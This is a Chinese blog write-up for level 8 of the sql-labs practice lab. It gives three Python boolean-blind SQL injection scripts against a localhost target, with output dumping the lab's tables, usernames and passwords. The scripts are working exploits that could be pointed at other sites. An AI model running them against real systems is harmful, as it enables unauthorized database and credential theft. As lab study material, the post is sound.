sql-labs less-8 python脚本

已于 2023-11-02 17:47:34 修改
阅读量81 收藏 1
点赞数
文章标签： 数据库 sql less python
于 2023-11-02 17:46:52 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_74940843/article/details/134150956
版权

 以下是sql-labs 第八关的python脚本

唉，调试了好久

python的循环是没有{}的，所以大家写的时候一定要注意哪个嵌套哪个，缩进一定要弄好，不能错，否则就算不报错，运行结果也不对(╬▔皿▔)╯

import requests

header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8'

}
database_length = 0
database_name = ''
table_counts = 0
table_length = 0
table_name = ''
column_counts = 0
column_length = 0
column_name = ''
information_counts = 0
information_length = 0
information_name = ''
base_url = "http://127.0.0.1/sql-labs/Less-8/?id=1'"
# 数据库长度
for i in range(1, 50):
    payload = f' and length(database())={i} --+'
    new_url = base_url + payload
    response = requests.get(new_url, headers=header)
    if 'You are in...........' in response.text:
        database_length = i
        break
# 数据库名称
for i in range(1, database_length + 1):
    for m in range(65, 123):
        payload = f' and substr(database(),{i},1)=%27{chr(m)}%27 --+'
        new_url = base_url + payload
        response = requests.get(new_url, headers=header)
        if 'You' in response.text:
            database_name = database_name + chr(m)
            break
# 表的数量
for i in range(1, 100):
    payload = f' and (select count(table_name) from information_schema.tables where table_schema=%27security%27)={i} --+'
    new_url = base_url + payload
    response = requests.get(new_url, headers=header)
    if 'You are in...........' in response.text:
        table_counts = i
        break
# 表的长度和名称
for i in range(1, table_counts + 1):
    table_name = ''
    for m in range(1, 50):
        payload = f' and length((select table_name from information_schema.tables where table_schema=%27security%27 limit {i},1))={m} --+'
        new_url = base_url + payload
        response = requests.get(new_url, headers=header)
        if 'You are in...........' in response.text:
            table_length = m
            break
    for m in range(1, table_length + 1):
        for n in range(65, 123):
            payload = f' and substr((select table_name from information_schema.tables where table_schema=%27security%27 limit {i},1),{m},1)=%27{chr(n)}%27 --+'
            new_url = base_url + payload
            response = requests.get(new_url, headers=header)
            if 'You are in...........' in response.text:
                table_name = table_name + chr(n)
                break
    print(f'表{i}的名称为：' + table_name.lower())
    for a in range(1, 100):
        payload = f' and (select count(column_name) from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27)={a} --+'
        new_url = base_url + payload
        response = requests.get(new_url, headers=header)
        if 'You are in...........' in response.text:
            column_counts = a
            break
    # 各列的长度名称
    for b in range(1, column_counts + 1):
        column_name = ''
        for c in range(1, 50):
            payload = f' and length((select column_name from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27 limit {b},1))={c} --+'
            new_url = base_url + payload
            response = requests.get(new_url, headers=header)
            if 'You are in...........' in response.text:
                column_length = c
                break
        for m in range(1, column_length + 1):
            for n in range(65, 123):
                payload = f' and substr((select column_name from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27 limit {b},1),{m},1)=%27{chr(n)}%27 --+'
                new_url = base_url + payload
                response = requests.get(new_url, headers=header)
                if 'You are in...........' in response.text:
                    column_name = column_name + chr(n)
                    break
        print(f'列{b}的名称为：' + column_name.lower())
        # 列下的数据的数量，长度，名称
        for x in range(0, 100):
            payload = f' and (select count({column_name.lower()}) from {table_name.lower()})={x} --+'
            new_url = base_url + payload
            response = requests.get(new_url, headers=header)
            if 'You are in...........' in response.text:
                information_counts = x
                break
        for y in range(1, information_counts + 1):
            information_name = ''
            for z in range(1, 50):
                payload = f' and length((select {column_name.lower()} from {table_name.lower()} limit {y},1))={z} --+'
                new_url = base_url + payload
                response = requests.get(new_url, headers=header)
                if 'You are in...........' in response.text:
                    information_length = z
                    break
            for j in range(1, information_length + 1):
                for k in range(65, 123):
                    payload = f' and substr((select {column_name.lower()} from {table_name.lower()} limit {y},1),{j},1)=%27{chr(k)}%27 --+'
                    new_url = base_url + payload
                    response = requests.get(new_url, headers=header)
                    if 'You are in...........' in response.text:
                        information_name = information_name + chr(k)
                        break
            print(f'数据{y}的名称为：' + information_name.lower())
print('数据库名称为：' + database_name)
print('该数据库下表的个数为：' + str(table_counts))

运行结果

E:\python\python.exe "D:\python\test1\aql-labs\less-8 三.py" 
表1的名称为：referers
列1的名称为：referer
列2的名称为：ip_address
列3的名称为：
表2的名称为：uagents
列1的名称为：uagent
列2的名称为：ip_address
列3的名称为：username
列4的名称为：
表3的名称为：users
列1的名称为：username
数据1的名称为：angelina
数据2的名称为：dummy
数据3的名称为：secure
数据4的名称为：stupid
数据5的名称为：superman
数据6的名称为：batman
数据7的名称为：admin
数据8的名称为：admin
数据9的名称为：admin
数据10的名称为：admin
数据11的名称为：dhakkan
数据12的名称为：admin
数据13的名称为：
列2的名称为：password
数据1的名称为：ikillyou
数据2的名称为：pssword
数据3的名称为：crappy
数据4的名称为：stupidity
数据5的名称为：genious
数据6的名称为：moble
数据7的名称为：admin
数据8的名称为：admin
数据9的名称为：admin
数据10的名称为：admin
数据11的名称为：dumbo
数据12的名称为：admin
数据13的名称为：
列3的名称为：
数据1的名称为：
数据2的名称为：
数据3的名称为：

刚开始学着写，可能并不好

我还看到一种代码，比我的这个好多了 

# 1. 设置全局变量DIS 和list用于控制详细信息的显示以及定义需要爆破的ASCII码
# 2. 爆破当前数据库长度
# 3. 定义数据库长度爆破函数Brute_length()
# 4. 爆破当前数据库名称
# 5. 定义数据库名爆破函数Brute_database()
# 6. 爆破所有数据库长度
# 7. 爆破所有数据库名称
# 8. 爆破表名
# 9. 定义表名爆破函数Brute_table()
# 10. 爆破字段名
# 11. 定义字段爆破函数Brute_column()
# 12. 爆破数据
# 13. 定义数据爆破函数data_dump()

import requests
import time
import sys

# 1. 设置全局变量DIS 和list用于控制详细信息的显示以及定义需要爆破的ASCII码
DIS = True
list = [44, 46, 95, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58]
for i in range(97, 123):
    list.append(i)
for i in range(64, 91):
    list.append(i)
for i in range(33, 76):
    list.append(i)

def sql_Inject(url, flag, display):
    global DIS
    DIS = display

    # 2. 爆破当前数据库长度
    current_length = Brute_length(url, flag, current=True)
    print("当前数据库长度:", current_length)

    # 4. 爆破当前数据库名称
    current_database_name = Brute_database(url, current_length, flag, current=True)
    print("当前数据库名称:", current_database_name)

    # 6. 爆破所有数据库长度
    length = Brute_length(url, flag)
    print("数据库全长:", length)

    # 7. 爆破所有数据库名称
    all_databases = input("Brute all the databases?[yes/no]: ")
    if all_databases == 'yes':
        database_name = Brute_database(url, length, flag)
        print("数据库名称:", database_name)

    # 8. 爆破表名
    while True:
        choose_database = input("choose the database: ")
        table_name = Brute_table(url, choose_database, flag)
        print("数据库: %s" % choose_database)
        print("表: %s" % table_name)
        print('')
        next = input("continue brute the tables?[yes/no]: ")
        if next == "no":
            break

    # 10. 爆破字段名
    while True:
        choose_database = input("choose the database: ")
        choose_table = input("choose the table: ")
        column_name = Brute_column(url, choose_database, choose_table, flag)
        print("表: %s.%s" % (choose_database, choose_table))
        print("字段: %s" % column_name)
        print('')
        next = input("continue brute the columns?[yes/no]: ")
        if next == "no":
            break

    # 12. 爆破数据
    while True:
        choose_database = input("choose the database: ")
        choose_table = input("choose the table: ")
        choose_column = input("choose the column: ")
        data = data_dump(url, choose_database, choose_table, choose_column, flag)
        print("字段: %s.%s.%s" % (choose_database, choose_table, choose_column))
        print("数据: %s" % data)
        print('')
        next = input("continue dump the data?[yes/no]: ")
        if next == "no":
            break


# 13. 定义数据爆破函数data_dump()
def data_dump(url, database, table, column, flag):
    raw_url = url
    length = 1
    jump = 10
    data = ""

    # 首先判断数据长度
    while True:
        # url: http://127.0.0.1/sql-labs/Less-8/?id=1' and length((select group_concat(id) from security.emails))>10 --+
        url = raw_url + "' and length((select group_concat(%s) from %s.%s))>%d --+" % (column, database, table, jump)
        response = requests.get(url)
        if DIS:
            print(url)
        if flag in response.content:
            jump += 10
        else:
            jump -= 10
            break

    while True:
        # url: http://127.0.0.1/sql-labs/Less-8/?id=1' and length((select group_concat(id) from security.emails))>11 --+
        url = raw_url + "' and length((select group_concat(%s) from %s.%s))>%d --+" % (column, database, table, jump + length)
        if DIS:
            print(url)
        response = requests.get(url)
        if flag in response.content:
            length += 1
        else:
            break
    data_length = length + jump

    # 爆破数据
    for i in range(data_length):
        for ASCII in list:
            # url: http://127.0.0.1/sqli-labs/Less-8/?id=1' and ord(substr((select group_concat(id) from security.emails),1,1))='44'--+
            url = raw_url + "' and ord(substr((select group_concat(%s) from %s.%s),%d,1))=%d --+" % (column, database, table, i + 1, ASCII)
            if DIS:
                print(url)
            response = requests.get(url)
            if flag in response.content:
                data += chr(ASCII)
                break
        # time.sleep(5)
    return data


# 11. 定义字段爆破函数Brute_column()
def Brute_column(url, database, table, flag):
    raw_url = url
    length = 1
    jump = 10
    column_name = ""

    # 首先判断字段长度
    while True:
        # url: http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'))>10 --+
        url = raw_url + "' and length((select group_concat(column_name) from information_schema.columns where table_schema='%s' and table_name='%s'))>%d --+" % (database, table, jump)
        response = requests.get(url)
        if DIS:
            print(url)
        if flag in response.content:
            jump += 10
        else:
            jump -= 10
            break

    while True:
        # url: http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema="security"))>11 --+
        url = raw_url + "' and length((select group_concat(column_name) from information_schema.columns where table_schema='%s' and table_name='%s'))>%d --+" % (database, table, jump + length)
        if DIS:
            print(url)
        response = requests.get(url)
        if flag in response.content:
            length += 1
        else:
            break
    column_length = length + jump

    # 爆破字段名
    for i in range(column_length):
        for ASCII in list:
            # url: http://127.0.0.1/sqli-labs/Less-8/?id=1' and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),1,1))='44'--+
            url = raw_url + "' and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='%s' and table_name='%s'),%d,1))=%d --+" % (database, table, i + 1, ASCII)
            if DIS:
                print(url)
            response = requests.get(url)
            if flag in response.content:
                column_name += chr(ASCII)
                break
        # time.sleep(5)
    return column_name


# 9. 定义表名爆破函数Brute_table()
def Brute_table(url, database, flag):
    raw_url = url
    length = 1
    jump = 10
    table_name = ""

    # 首先判断表名长度
    while True:
        # url: http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema="security"))>10 --+
        url = raw_url + "' and length((select group_concat(table_name) from information_schema.tables where table_schema='%s'))>%d --+" % (database, jump)
        response = requests.get(url)
        if DIS:
            print(url)
        if flag in response.content:
            jump += 10
        else:
            jump -= 10
            break

    while True:
        # url: http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema="security"))>11 --+
        url = raw_url + "' and length((select group_concat(table_name) from information_schema.tables where table_schema='%s'))>%d --+" % (database, jump + length)
        if DIS:
            print(url)
        response = requests.get(url)
        if flag in response.content:
            length += 1
        else:
            break
    table_length = length + jump

    # 爆破表名
    for i in range(table_length):
        for ASCII in list:
            # url: http://127.0.0.1/sqli-labs/Less-8/?id=1' and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))='44'--+
            url = raw_url + "' and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='%s'),%d,1))=%d --+" % (database, i + 1, ASCII)
            if DIS:
                print(url)
            response = requests.get(url)
            if flag in response.content:
                table_name += chr(ASCII)
                break
        # time.sleep(5)
    return table_name


# 5. 定义数据库名爆破函数Brute_database()
def Brute_database(url, length, flag, current=False):
    raw_url = url
    database_name = ""
    # 2. 爆破当前数据库名称
    if current:
        for i in range(length):
            for ASCII in range(97, 123):
                # url: http://127.0.0.1/sqli-labs/Less-8/?id=1' and ord(substr(database(),1,1))=97 --+
                url = raw_url + "' and ord(substr(database(),%d,1))=%d --+" % (i+1, ASCII)
                if DIS:
                    print(url)
                response = requests.get(url)
                if flag in response.content:
                    database_name += chr(ASCII)
                    break
            # time.sleep(5)
        return database_name

    # 爆破所有数据库名称
    # ' and ord(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=97--+
    else:
        for i in range(length):
            for ASCII in list:
                # url: http://127.0.0.1/sqli-labs/Less-8/?id=1' and ord(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=44--+
                url = raw_url + "' and ord(substr((select group_concat(schema_name) from information_schema.schemata),%d,1))=%d --+" % (i+1, ASCII)
                if DIS:
                    print(url)
                response = requests.get(url)
                if flag in response.content:
                    database_name += chr(ASCII)
                    break
            # time.sleep(5)
        return database_name


# 3. 定义数据库长度爆破函数Brute_length()
def Brute_length(url, flag, current=False):
    length = 1
    raw_url = url
    jump = 10
    # 判断是否爆破当前数据库
    if current:
        while True:
            # url: http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>1 --+
            url = raw_url + "' and length(database())>%d --+" % length
            if DIS:
                print(url)
            response = requests.get(url)
            if flag in response.content:
                length += 1
            else:
                break
        return length

    # 爆破所有数据库长度
    else:
        while True:
            # url: http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select group_concat(schema_name) from information_schema.schemata))>10 --+
            url = raw_url + "' and length((select group_concat(schema_name) from information_schema.schemata))>%d --+" % jump
            response = requests.get(url)
            if DIS:
                print(url)
            if flag in response.content:
                jump += 10
            else:
                jump -= 10
                break

        while True:
            # url: http://127.0.0.1/sqli-labs/Less-8/?id=1' and length((select group_concat(schema_name) from information_schema.schemata))>1 --+
            url = raw_url + "' and length((select group_concat(schema_name) from information_schema.schemata))>%d --+" % (jump+length)
            if DIS:
                print(url)
            response = requests.get(url)
            if flag in response.content:
                length += 1
            else:
                break
        return (length+jump)

if __name__ == "__main__":
    url = "http://127.0.0.1/sql-labs/Less-8/?id=1"
    flag = b'You are in...........'
    display = False
    sql_Inject(url, flag, display)

运行结果

E:\python\python.exe D:\python\test1\aql-labs\less-8.py 
当前数据库长度: 8
当前数据库名称: security
数据库全长: 67
Brute all the databases?[yes/no]: yes
数据库名称: information_schema,challenges,mysql,performance_schema,security,sys
choose the database: security
数据库: security
表: emails,referers,uagents,users

continue brute the tables?[yes/no]: no
choose the database: security
choose the table: users
表: security.users
字段: id,username,password

continue brute the columns?[yes/no]: no
choose the database: security
choose the table: users
choose the column: username,password
字段: security.users.username,password
数据: DumbDumb,AngelinaI-kill-you,Dummyp@ssword,securecrappy,stupidstupidity,supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,admin3admin3,dhakkandumbo,admin4admin4

continue dump the data?[yes/no]: no

进程已结束，退出代码为 0

人家的这个一目了然 

不过这两种代码爆破还是有点慢的，可以使用二分法

import requests


def decide():
    left = 0
    right = 9
    while left <= right:
        middle = (left + right) // 2
        if 'You are in...........' in requests.request('get',
                                                       f"http://127.0.0.1/sql-labs/Less-8/?id=1' and if(substr(length(length(database())), 1, 1)>{middle}, 1, 0)--+").text:
            left = middle + 1
        elif 'You are in...........' in requests.request('get',
                                                         f"http://127.0.0.1/sql-labs/Less-8/?id=1' and if(substr(length(length(database())), 1, 1)<{middle}, 1, 0)--+").text:
            right = middle - 1
        else:
            return middle


def ruler(size):
    left = 0
    right = 9
    i = 1
    length = ''
    while left <= right and i <= size:
        middle = (left + right) // 2
        if 'You are in...........' in requests.request('get',
                                                       f"http://127.0.0.1/sql-labs/Less-8/?id=1' and if(substr(length(database()), {i}, 1)>{middle}, 1, 0)--+").text:
            left = middle + 1
        elif 'You are in...........' in requests.request('get',
                                                         f"http://127.0.0.1/sql-labs/Less-8/?id=1' and if(substr(length(database()), {i}, 1)<{middle}, 1, 0)--+").text:
            right = middle - 1
        else:
            i += 1
            length += str(middle)
            left = 0
            right = 126
    return int(length)


def process(length):
    left = 32
    right = 126
    i = 1
    result = ''
    while left <= right and i <= length:
        middle = (left + right) // 2
        if 'You are in...........' in requests.request('get',
                                                       f"http://127.0.0.1/sql-labs/Less-8/?id=1' and if(ascii(substr(database(), {i}, 1))>{middle}, 1, 0)--+").text:
            left = middle + 1
        elif 'You are in...........' in requests.request('get',
                                                         f"http://127.0.0.1/sql-labs/Less-8/?id=1' and if(ascii(substr(database(), {i}, 1))<{middle}, 1, 0)--+").text:
            right = middle - 1
        else:
            i += 1
            result += str(chr(middle))
            left = 0
            right = 126
            print(result)
    return result


if __name__ == '__main__':
    size = decide()
    length = ruler(size)
    result = process(length)

这只是一部分代码，运行结果如下

sec
secu
secur
securi
securit
security

进程已结束，退出代码为 0

迪亚波罗#
关注
Python面试题大全SQLi第八关，Sqli-labs Less-8，Python知识总结
m0_60144796的博客
04-05 353
Python崛起并且风靡，因为优点多、应用领域广、被大牛们认可。学习 Python 门槛很低，但它的晋级路线很多，通过它你能进入机器学习、数据挖掘、大数据，CS等更加高级的领域。Python可以做网络应用，可以做科学计算，数据分析，可以做网络爬虫，可以做机器学习、自然语言处理、可以写游戏、可以做桌面应用…Python可以做的很多，你需要学好基础，再选择明确的方向。这里给大家分享一份全套的 Python 学习资料，给那些想学习 Python 的小伙伴们一点帮助！
sqli-labs Less-1、Less-9\Less-15 python脚本
ChamZhiZe的博客
12-21 1243
虽然这个很简单，但是还是写个脚本跑一下 Less-1 from http.client import PROCESSING, responses from re import I, T from typing import FrozenSet from bs4.dammit import xml_encoding from bs4.element import ProcessingInstruction import requests import urllib.request from colorama
sql-labs第八关python脚本
西部壮仔的博客
03-22 1060
sql bool盲注 代码如下: # 1. 设置全局变量DIS 和list用于控制详细信息的显示以及定义需要爆破的ASCII码 # 2. 爆破当前数据库长度 # 3. 定义数据库长度爆破函数Brute_length() # 4. 爆破当前数据库名称 # 5. 定义数据库名爆破函数Brute_database() # 6. 爆破所有数据库长度 # 7. 爆破所有数据库名称 # 8. 爆破表名 # 9...
sqli-labs 第八关盲注python脚本
vt_yjx的博客
05-12 540
目录​编辑判断库名1.库名长度2.库名当大于一个不存在的长度的时候，就不会回显： 但是这个长度存在的话，会返回一个"You are in........."： 所以payload是1' and length(database())>{i}--+ def length(): for i in range(20): payload = f"1' and length(database())>{i}-- " d
SQLMAP脚本-sql-labs-Less-28-29
m0_69844818的博客
01-03 435
HTTP参数污染（HTTP Parameter Pollution） 攻击者通过在HTTP请求中插入特定的参数来发起攻击,如果Web应用中存在这样的漏洞，可以被攻击者利用来进行客户端或者服务器端的攻击。这个labs是一个HTTP参数污染所以也简单写就需要&连接一些就行了,想了解这东西的去搜索吧,这里教的是怎么写脚本提供思路。使用双写union绕过,编写cx.py脚本。忒忒后端代码,比28简单更多。一样的使用28的脚本即可拿下。
SQLMAP脚本-sql-labs-Less-26-27a
m0_69844818的博客
09-19 1724
sqlmap脚本跑sqli-labs
sql-lib Less-9 python实现
weixin_43745072的博客
11-22 332
转载请注明出处 Less-9 Less-9是一个盲注的，因为无论注入正确与否，返回的信息都是相同的。那么参考下Less-9的题目，我们可以看到，考虑基于时间的盲注。其原理主要是使用if函数，对字符串特定位置判断，为真就不操作，反之sleep(5) 首先查询表名。这里通过改变substr中下一个字符的值"`1"，以及对应的字符的值125。如果if判断的条件为真，那么就是字符匹配，就沉睡5s反之直接执行下一个字符匹配。 1' union select 1,If(ascii(substr(databa
使用python 写 sql-labs第八关的exp（练习）
Barlow_121212的博客
03-17 264
🌞①观察我们的响应包，当页面正常返回时有字符串 （You are in...........） 故我们可根据响应包中是否存在此字符串来判断exp是否成功。python代码可以直接写成全套的盲注exp，且更具有效率。更改代码，使用ascii,substr等函数跑出第一个字母。本文为更好的了解python以及复习sql注入中的盲注。只跑了users表和字段没有全部跑完（我想偷懒）。🌞③更改代码跑出库的名字。🌞跑字段的第二个字符的长度。跑第二个内容的第二个字母。跑第二个内容的所有字母。跑出第五个字段的字母。
结合手工注入编写一个SQL盲注脚本——以SQLi-Labs less16为例.doc
07-09
在Python脚本中，我们使用requests库来发送POST请求，并使用headers和data参数来模拟登录请求。在获取数据库名时，我们可以使用循环来猜测数据库名的长度，并使用万能密码来确定数据库名的长度。最后，我们可以使用...
sqli-labs lesson8 python 脚本源代码（存在小bug）
04-29
该源代码是sqli-labs/Less-8所使用到的脚本源代码，运行环境是python3.资源分最低只能选2，我也没办法，或者给我留言也行，本人也是菜鸟一个，无意通过这个收取资源分，哈哈（在结果的格式化输出那有个小bug,用户名...
MySQL之复合查询与内外连接
zdlynj的博客
09-30 1197
前面我们讲解的mysql表的查询都是对一张表进行查询，即数据的查询都是在某一时刻对一个表进行操作的。而在实际开发中，我们往往还需要对多个表同时进行查询。我们这里使用的测试表，为雇员信息表(来自Oracle 9i的经典测试表)：EMP员工表，DEPT部门表，SALGRADE工资等级表。
点评项目-2-完善注册登录业务
m0_75138009的博客
09-29 559
需要处理的业务：在网页发送 /user/code 路径下的 post 请求后，我们需要检验手机号后，向合法的手机号发送一个随机生成的电话号。
Spring的热部署工具和数据库密码加盐操作
2301_77053417的博客
09-28 764
加密过程：用户输入的密码+盐值 --> 字符串1，然后使用md5对字符串1加密得到字符串2，然后字符串2+盐值 --> 字符串3，这个字符串3就是存储在数据库中的密文。背景：如果我们的密码明文存储在数据库中，要是被窃取了是非常的危险的，所以我们在数据库中存储的密码不能是明文的，需要进行加密后存储，也就是数据库中存储的是密文。解密过程：取出数据库中的盐值和用户输入的密码得到字符串1，使用md5对字符串1加密得到字符串2，然后验证字符串2和数据库中的密文即可。做好以上的步骤，你项目中的热部署就已经做好了。
World of Warcraft [CLASSIC][80][Grandel] Call to Arms: Victory in Wintergrasp
最新发布
qq 117791303
10-02 273
Wintergrasp 冬拥湖 120 VS 120
Redis事务
zhzjn的博客
09-30 353
Redis事务可以通过MULTI、EXEC、WATCH和DISCARD指令来实现。1. MULTI指令：表示事务的开始，之后的所有指令都会被逐一记录，但不会立即执行。2. EXEC指令：表示事务的执行，会按照记录的指令逐一执行。3. WATCH指令：可以监视一个或多个键的变化，如果在事务执行期间被其他客户端修改，事务会被回滚。4. DISCARD指令：表示事务的撤销，可以放弃之前记录的指令。
【RocketMQ】RocketMQ应用难点
记录一名在读研究生的学习笔记、感悟、开发产物
09-30 872
本文探讨了RocketMQ中消息重复消费的问题及其解决方案，尤其是在CLUSTERING模式下的扩容影响。文章分析了重复消费的原因，如广播模式、负载均衡模式下的多consumerGroup消费、消费者组内的动态变化及网络延迟等，并提出了利用唯一标识进行去重的方法。此外，还讨论了如何选择合适的存储机制以高效处理大量消息标识，如HashMap、MySQL、Redis以及推荐的布隆过滤器等方案。对于防止消息堆积与确保消息不丢失，也给出了相应的策略和技术措施。
IT基础监控范围和对象
MXsoft618的博客
09-29 583
综上所述，监控易的监控范围非常广泛，几乎涵盖了所有主流的IT基础设施以及相关的设备和系统。通过全面、实时、准确的监控功能，监控易为运维团队提供了强大的支持，帮助他们及时发现并解决潜在的问题，确保业务系统的稳定运行和高效运维。除了上述监控范围外，监控易还支持其他扩展监控功能，如被动式设备监控、自定义脚本监控、高级监测点监控等。监控易作为一款由美信时代独立自主研发的分布式一体化集中监控平台，其监控范围极为广泛，几乎涵盖了所有主流的IT基础设施以及相关的设备和系统。
MQTT--EMQX入门+MQTTX使用
CJPSR的博客
09-30 1101
EMQ X基于 Erlang/OTP 平台开发的MQTT 消息服务器，是开源社区中最流行的 MQTT 消息服务器。EMQ X 是开源百万级分布式。
sql-labs安装
08-28
对于安装 SQL-Labs，您可以按照以下步骤进行操作： 1. 首先，您需要确保您的系统上已经安装了 LAMP 或者 WAMP 等 Web 服务器环境，以及 MySQL 数据库。 2. 下载 SQL-Labs 的源代码。您可以从 GitHub 上的项目页面...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

迪亚波罗#

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值